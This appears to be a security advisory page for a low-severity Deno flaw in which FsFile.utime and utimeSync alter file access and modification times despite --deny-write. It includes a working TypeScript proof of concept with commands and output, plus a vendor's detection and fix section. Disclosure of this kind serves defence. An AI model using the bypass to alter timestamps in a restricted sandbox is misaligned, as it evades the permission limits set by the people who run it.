GHSA-vg2r-rmgp-cgqj
LOWDeno's --deny-write check does not prevent permission bypass
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
denoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects crates.io packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Deno.FsFile.prototype.utime and Deno.FsFile.prototype.utimeSync are not limited by the permission model check --deny-write=./.
It's possible to change to change the access (atime) and modification (mtime) times on the file stream resource even when the file is opened with read only permission (and write: false) and file write operations are not allowed (the script is executed with --deny-write=./).
Similar APIs like Deno.utime and Deno.utimeSync require allow-write permission, however, when a file is opened, even with read only flags and deny-write permission, it's still possible to change the access (atime) and modification (mtime) times, and thus bypass the permission model.
PoC
Setup:
deno --version
deno 2.4.2 (stable, release, x86_64-unknown-linux-gnu)
v8 13.7.152.14-rusty
typescript 5.8.3
touch test.txt
// touch test.txt
// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utime
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 1
async function poc1(){
using file = await Deno.open("./test.txt", { read: true, write: false});
const fileInfoBefore = await file.stat();
await file.utime(new Date("2000-01-01"), new Date("2000-01-01"));
const fileInfoAfter = await file.stat();
console.log(`BEFORE (utime)`)
console.log(new Date(fileInfoBefore.mtime).getFullYear())
console.log(new Date(fileInfoBefore.atime).getFullYear())
console.log(`AFTER (utime)`)
console.log(new Date(fileInfoAfter.mtime).getFullYear())
console.log(new Date(fileInfoAfter.atime).getFullYear())
}
// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utimeSync
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 2
function poc2(){
using file = Deno.openSync("./test.txt", { read: true, write: false});
const fileInfoBefore = file.statSync();
file.utimeSync(new Date("2001-01-01"), new Date("2001-01-01"));
const fileInfoAfter = file.statSync();
console.log(`BEFORE (utimeSync)`)
console.log(new Date(fileInfoBefore.mtime).getFullYear())
console.log(new Date(fileInfoBefore.atime).getFullYear())
console.log(`AFTER (utimeSync)`)
console.log(new Date(fileInfoAfter.mtime).getFullYear())
console.log(new Date(fileInfoAfter.atime).getFullYear())
}
// https://docs.deno.com/api/deno/~/Deno.utime
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 3
async function poc3(){
// not executed
await Deno.utime("./test.txt", new Date("2000-01-01"), new Date("2000-01-01"));
}
// https://docs.deno.com/api/deno/~/Deno.utimeSync
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 4
function poc4(){
// not executed
Deno.utimeSync("./test.txt", new Date("2000-01-01"), new Date("2000-01-01"));
}
async function main(){
const poc = Deno.args[0] || 1;
const status = await Deno.permissions.query({ name: "write", path: "./" });
console.log(status);
switch (poc) {
case "1":
poc1()
break;
case "2":
poc2()
break;
case "3":
poc3()
break;
case "4":
poc4()
break;
default:
poc1()
}
}
main()
Output:
deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 1
PermissionStatus { state: "denied", onchange: null }
BEFORE (utime)
2025
2025
AFTER (utime)
2000
2000
deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 2
PermissionStatus { state: "denied", onchange: null }
BEFORE (utimeSync)
2000
2000
AFTER (utimeSync)
2001
2001
deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 3
PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires write access to "./test.txt", run again with the --allow-write flag
await Deno.utime("./test.txt", new Date("2000-01-01"), new Date("2000-01-01"));
^
...
deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 4
PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires write access to "./test.txt", run again with the --allow-write flag
Deno.utimeSync("./test.txt", new Date("2000-01-01"), new Date("2000-01-01"));
^
...
Impact
Permission model bypass
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🦀crates.io | deno | all versions | 2.5.3 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for deno. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update deno to 2.5.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-vg2r-rmgp-cgqj is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-vg2r-rmgp-cgqj is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-vg2r-rmgp-cgqj. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-vg2r-rmgp-cgqj in your dependencies?
O3 detects GHSA-vg2r-rmgp-cgqj across crates.io dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.